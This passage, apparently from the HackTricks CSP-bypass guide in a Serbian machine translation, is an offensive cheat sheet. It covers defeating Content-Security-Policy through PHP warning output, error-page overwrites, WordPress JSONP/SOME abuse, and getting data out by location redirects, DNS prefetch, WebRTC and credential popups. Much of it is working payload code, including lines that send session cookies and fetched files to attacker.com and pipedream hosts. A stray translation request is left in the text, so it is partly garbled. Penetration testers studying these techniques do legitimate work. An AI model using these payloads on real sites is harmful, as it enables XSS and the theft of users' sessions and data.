Poznato je da PHP podrazumevano bufferuje odgovor na 4096 bajtova. Dakle, ako PHP generiše upozorenje, pružanjem dovoljno podataka unutar upozorenja, odgovor će biti poslat pre CSP header-a, što će prouzrokovati da header bude ignorisan.
Tehnika se u suštini sastoji u popunjavanju bafera odgovora upozorenjima tako da CSP header ne bude poslat.
Ideja iz this writeup.
Onemogućavanje CSP putem max_input_vars (headers already sent)
Pošto headeri moraju biti poslati pre bilo kog output-a, upozorenja koja PHP emituje mogu poništiti kasnije pozive header()
. Ako korisnički unos premaši max_input_vars
, PHP će prvo baciti startup warning; bilo koji naredni poziv header('Content-Security-Policy: ...')
će propasti sa “headers already sent”, efektivno onemogućavajući CSP i omogućavajući reflektivni XSS koji bi inače bio blokiran.
<?php
header("Content-Security-Policy: default-src 'none';");
echo $_GET['xss'];
Molim pošaljite sadržaj fajla src/pentesting-web/content-security-policy-csp-bypass/README.md koji želite da prevedem.
# CSP in place → payload blocked by browser
curl -i "http://orange.local/?xss=<svg/onload=alert(1)>"
# Exceed max_input_vars to force warnings before header() → CSP stripped
curl -i "http://orange.local/?xss=<svg/onload=alert(1)>&A=1&A=2&...&A=1000"
# Warning: PHP Request Startup: Input variables exceeded 1000 ...
# Warning: Cannot modify header information - headers already sent
Prepisivanje stranice greške
Prema this writeup izgleda da je bilo moguće zaobići CSP zaštitu učitavanjem stranice greške (potencijalno bez CSP) i prepisivanjem njenog sadržaja.
a = window.open("/" + "x".repeat(4100))
setTimeout(function () {
a.document.body.innerHTML = `<img src=x onerror="fetch('https://filesharing.m0lec.one/upload/ffffffffffffffffffffffffffffffff').then(x=>x.text()).then(x=>fetch('https://enllwt2ugqrt.x.pipedream.net/'+x))">`
}, 1000)
SOME + 'self' + wordpress
SOME je tehnika koja zloupotrebljava XSS (ili veoma ograničen XSS) u endpoint-u stranice da zloupotrebi other endpoints of the same origin. Ovo se postiže učitavanjem ranjivog endpoint-a sa napadačeve stranice, a zatim osvežavanjem napadačeve stranice na stvarni endpoint u istoj origin-i koju želite zloupotrebiti. Na ovaj način ranjivi endpoint može koristiti opener
objekat u payload da pristupi DOM-u stvarnog endpoint-a koji se zloupotrebljava. Za više informacija pogledajte:
SOME - Same Origin Method Execution
Pored toga, wordpress ima JSONP endpoint na /wp-json/wp/v2/users/1?_jsonp=data
koji će reflect data poslate u output (sa ograničenjem samo slova, cifara i tačaka).
Napadač može zloupotrebiti taj endpoint da generate a SOME attack protiv WordPress-a i embed ga unutar <script s
rc=/wp-json/wp/v2/users/1?_jsonp=some_attack></script>
napomena: ovaj script će biti loaded jer je allowed by 'self'. Štaviše, pošto je WordPress instaliran, napadač može zloupotrebiti SOME attack kroz ranjivi callback endpoint koji bypasses the CSP da bi dao više privilegija korisniku, instalirao novi plugin...
Za više informacija o izvođenju ovog napada pogledajte https://octagon.net/blog/2022/05/29/bypass-csp-using-wordpress-by-abusing-same-origin-method-execution/
CSP Exfiltration Bypasses
If there is a strict CSP that doesn't allow you to interact with external servers, there are some things you can always do to exfiltrate the information.
Location
You could just update the location to send to the attacker's server the secret information:
var sessionid = document.cookie.split("=")[1] + "."
document.location = "https://attacker.com/?" + sessionid
Meta tag
Možete izvršiti redirect ubacivanjem meta tag-a (ovo je samo redirect, ovo neće leak content)
<meta http-equiv="refresh" content="1; http://attacker.com" />
DNS Prefetch
Da bi se stranice učitavale brže, pregledači će unapred rešavati hostnames u IP addresses i keširati ih za kasniju upotrebu.
Možete navesti pregledač da unapred reši hostname pomoću: <link rel="dns-prefetch" href="something.com">
Ovo ponašanje možete zloupotrebiti za exfiltrate sensitive information via DNS requests:
var sessionid = document.cookie.split("=")[1] + "."
var body = document.getElementsByTagName("body")[0]
body.innerHTML =
body.innerHTML +
'<link rel="dns-prefetch" href="//' +
sessionid +
'attacker.ch">'
Još jedan način:
const linkEl = document.createElement("link")
linkEl.rel = "prefetch"
linkEl.href = urlWithYourPreciousData
document.head.appendChild(linkEl)
Da bi se to izbeglo, server može poslati HTTP header:
X-DNS-Prefetch-Control: off
tip
Izgleda da ova tehnika ne radi u headless browsers (bots)
WebRTC
Na nekoliko stranica možete pročitati da WebRTC ne proverava connect-src
politiku CSP-a.
Zapravo možete leak informacije koristeći DNS request. Pogledajte ovaj kod:
;(async () => {
p = new RTCPeerConnection({ iceServers: [{ urls: "stun:LEAK.dnsbin" }] })
p.createDataChannel("")
p.setLocalDescription(await p.createOffer())
})()
Još jedna opcija:
var pc = new RTCPeerConnection({
"iceServers":[
{"urls":[
"turn:74.125.140.127:19305?transport=udp"
],"username":"_all_your_data_belongs_to_us",
"credential":"."
}]
});
pc.createOffer().then((sdp)=>pc.setLocalDescription(sdp);
CredentialsContainer
Popup za kredencijale šalje DNS zahtev na iconURL bez ograničenja od strane stranice. Funkcioniše samo u sigurnom kontekstu (HTTPS) ili na localhost.
navigator.credentials.store(
new FederatedCredential({
id:"satoki",
name:"satoki",
provider:"https:"+your_data+"example.com",
iconURL:"https:"+your_data+"example.com"
})
)
Provera CSP politika online
Automatsko generisanje CSP
https://csper.io/docs/generating-content-security-policy
Reference
- https://hackdefense.com/publications/csp-the-how-and-why-of-a-content-security-policy/
- https://lcamtuf.coredump.cx/postxss/
- https://bhavesh-thakur.medium.com/content-security-policy-csp-bypass-techniques-e3fa475bfe5d
- https://0xn3va.gitbook.io/cheat-sheets/web-application/content-security-policy#allowed-data-scheme
- https://www.youtube.com/watch?v=MCyPuOWs3dg
- https://aszx87410.github.io/beyond-xss/en/ch2/csp-bypass/
- https://lab.wallarm.com/how-to-trick-csp-in-letting-you-run-whatever-you-want-73cb5ff428aa/
- https://cside.dev/blog/weaponized-google-oauth-triggers-malicious-websocket
- The Art of PHP: CTF‑born exploits and techniques
tip
Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Učite i vežbajte Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Podržite HackTricks
- Proverite planove pretplate!
- Pridružite se 💬 Discord grupi ili telegram grupi ili pratite nas na Twitteru 🐦 @hacktricks_live.
- Podelite hakerske trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.